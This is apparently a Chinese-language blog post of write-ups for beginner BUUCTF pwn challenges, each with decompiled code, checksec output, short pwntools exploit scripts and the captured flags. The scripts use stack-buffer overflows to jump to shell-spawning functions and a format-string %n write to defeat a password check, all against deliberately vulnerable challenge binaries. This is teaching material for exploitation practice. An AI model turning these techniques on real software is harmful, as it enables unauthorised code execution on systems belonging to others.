BUUCTF PWN

easy pwn challenges

Posted by JBNRZ on 2022-11-21
Estimated Reading Time 4 Minutes
Words 851 In Total
Viewed Times

rip

  1. 查看主函数,s 长度为 15,gets 传入值,可以不限大小,存在栈溢出
    rip
    rip
  2. 发现危险函数存在 system(‘bin/sh’),将地址溢出至 fun() 地址,触发函数
    rip
    rip
  3. 因存在 栈平衡问题(不明白是什么),须先传入返回地址,通过 ropper 获取 ret 地址
    rip
    rip
  4. payload
1
2
3
4
5
6
7
from pwn import *

# a = process('./pwn1')
a = remote(ip, port)
a.sendline('*' * 23 + p64(0x401016) + p64(0x401186))
# gdb.attach(a) 运行出错
a.interactive()
  1. flag

flag{5fbfa2d8-b033-451c-983e-d1759502b7c9}

warmup_csaw_2016

  1. 查看主函数,gets(v5) 存在栈溢出,发现危险函数
    warmup_csaw_2016
    warmup_csaw_2016
    warmup_csaw_2016
  2. payload
1
2
3
4
5
from pwn import *

a = remote(ip, port)
a.sendline("*" * 72 + p64(0x40060D))
a.interactive()
  1. flag

flag{05784468-6276-482f-958f-437c4f83234a}

ciscn_2019_n_1

  1. 查看主要函数,存在栈溢出,有两种思路
  2. 覆盖 小数值 的地址,通过判断
    ciscn_2019_n_1
    ciscn_2019_n_1
    ciscn_2019_n_1
1
2
3
4
5
6
from pwn import *

a = process('./ciscn')
a.sendline('*' * (0x30 - 0x4) + p64(0x41348000)) # 将小数转化为 16进制
# gdb.attach(a)
a.interactive()
  1. 直接覆盖为 system() 地址,直接执行
    ciscn_2019_n_1
1
2
3
4
5
from pwn import *

a = remote(ip, port)
a.sendline('*' * 0x38 + p64(0x4006BE))
a.interavtive()
  1. flag

flag{7282e0c5-08b5-442c-a3da-6dd8a74f15ac}

pwn1_sctf_2016

  1. 查看主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}
  1. 限制了输入的字符长度为 32 位,s 空间为 60,似乎没有栈溢出,但后续存在字符替换,将 I 替换为 you,导致栈溢出
  2. payload
1
2
3
payload = 'I' * 20 + 'a' * 4 + p32(get_flag)

# 为 32 位程序,所以为 'a' * 4
  1. exp
1
2
3
4
5
6
7
8
9
from pwn import *
# p = process('./pwn')
p = remote(ip, port)
e = ELF('./pwn')
system = e.symbols['get_flag'] # 0x8048f0d
print system, type(system), hex(system)
payload = 'I' * 20 + 'a' * 4 + p32(system)
p.sendline(payload)
p.interactive()

jarvisoj_level0

  1. checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  1. 主函数
1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}
  1. 常规栈溢出,注意栈对齐
1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./pwn')
# p = remote('node4.buuoj.cn', '26729')
e = ELF('./pwn')
system = e.symbols['callsystem']
print system, type(system), hex(system)
payload = '*' * 0x88 + p64(system + 1)
p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

  1. checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  1. 主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
  1. 判断输入的密码与随机数是否相等,
1
2
3
4
5
6
7
8
9
from pwn import *
p = remote(ip, port)
e = ELF('./pwn')
addr = p32(0x804C044)
payload = addr + '%10$n' # 覆盖
p.sendline(payload)
p.recvuntil('your passwd:')
p.sendline('4') # p32 指针为 4字节
p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !